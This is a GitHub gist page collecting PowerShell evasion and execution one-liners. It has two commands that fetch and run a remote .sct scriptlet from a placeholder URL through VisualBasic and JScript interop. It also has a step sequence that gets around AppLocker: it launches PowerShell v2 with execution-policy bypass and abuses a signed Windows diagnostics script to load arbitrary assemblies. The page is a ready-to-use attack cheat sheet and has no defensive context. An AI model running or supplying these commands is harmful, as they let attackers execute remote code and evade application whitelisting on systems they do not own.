Skip to content

Instantly share code, notes, and snippets.

@MsF-NTDLL
Forked from S3cur3Th1sSh1t/PowerShell.txt
Created March 6, 2021 06:18
Show Gist options
  • Save MsF-NTDLL/cbfb809c65efd5b3f5ea149394f55b53 to your computer and use it in GitHub Desktop.
Save MsF-NTDLL/cbfb809c65efd5b3f5ea149394f55b53 to your computer and use it in GitHub Desktop.
Snippets of PowerShell bypass/evasion/execution techniques that are interesting
#SCT VBScript/JScript Execution
[Reflection.Assembly]::LoadWithPartialName('Microsoft.VisualBasic');[Microsoft.VisualBasic.Interaction]::GetObject('script:https://path/to/some.sct').Exec(0)
[Reflection.Assembly]::LoadWithPartialName('Microsoft.JScript');[Microsoft.JScript.Eval]::JScriptEvaluate('GetObject("script:https://path/to/some.sct").Exec()',[Microsoft.JScript.Vsa.VsaEngine]::CreateEngine())
#Loading .Net/C# Assemblies to Bypass AppLocker Default Rules
powershell -v 2 -ep bypass
cd C:\windows\diagnostics\system\AERO
import-module .\CL_LoadAssembly.ps1
LoadAssemblyFromPath ..\..\..\..\path\assembly.exe
[name.space]::executesomething()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment